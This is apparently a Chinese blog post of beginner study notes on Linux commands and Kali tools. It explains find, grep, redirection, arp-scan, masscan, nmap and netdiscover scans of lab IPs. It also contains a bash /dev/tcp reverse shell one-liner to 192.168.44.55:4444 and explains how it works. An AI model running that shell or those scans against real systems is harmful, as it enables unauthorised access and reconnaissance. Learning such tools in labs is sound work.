linux和kali的一些命令

linux

目录解释:

/var/www/html:把文件放入到这个目录下,打开apache2后,可以通过网页访问(而且要启动httpd服务,上网找)

 

 

命令解释:

ls -l 文件名:查看文件权限

history:查看历史记录

unzip [选项] 压缩包名:查看和解压缩 zip 文件

find / -name fiag*:查找/目录下名字是flag的  ( find 命令用来在指定目录下查找文件)

grep :(用于查找内容包含指定的范本样式的文件)语法:grep [-abcEFGhHilLnqrsvVwxy][-A<显示行数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][--help][范本样式][文件或目录...]

 whoami:查看自己目前是什么用户

 

 

符合解释:

>:重定向符,将一个东西到另一个(当里面有东西时,就会覆盖)

>> :重定向符,将一个东西到另一个(当有东西是,就会叠加)

0:文件描述符,表示标准输入,对应宏为:STDIN_FILENO

1:文件描述符,表示标准输出,对应宏为:STDOUT_FILENO

2:文件描述符,表示标准出错处理,对应的宏为:STDERR_NO

 

__________________________________________________________________________________________________

kali

arp-scan -l :可以扫描这个局域网内的其他ip

 

 

masscan --rate=1000 -p 0-65535 192.168.44.52 :masscan是这个插件名字,--rate表示指定发包的速率,-p表示指定端口进行扫描(这里指定了0到65535端口),192.168.44.52表示要扫描的ip

 

nmap -T4 -sV -O -p 445,143,22,8080,80,500,8081,139,443 192.168.44.52:nmap插件名,-T4设置计时模板(越高速度越快),-sV探测打开的端口以确定服务/版本信息,-O启用操作系统检测,-p仅扫描指定的端口,192.168.44.52表示要扫描的ip

 

bash -i >& /dev/tcp/192.168.44.55/4444 0>&1

bash -i :创建一个交互式的bash 、>&:将输出重定向文件、 /dev/tcp:文件不支持,但是打开该文件相当于发起了socket,建立了一个连接 、/192.168.44.55/4444:表示socke连接的ip和端口、 0>&1:表示标志输入重定向到标志输出,即我们可以远程输入,并且可以得到远程输出

 

netdiscover -i eth0 -r 192.168.44.0/24

主机发现:netdiscover :表示使用的工具、-i eth0:表示网络接口、-r:扫描范围

 

nmap 192.168.44.55 --script=http-methods.nse --script-args=http.methods.url-path="/test" 

nmap:使用的插件、192.168.44.55:要进行扫描的ip、--script:指定使用Lua脚本进行扫描、--script-args:指定脚本的参数

扫描/test页面的支持的http方法

posted @ 2022-05-10 21:48  kai-le  阅读(190)  评论(0编辑  收藏  举报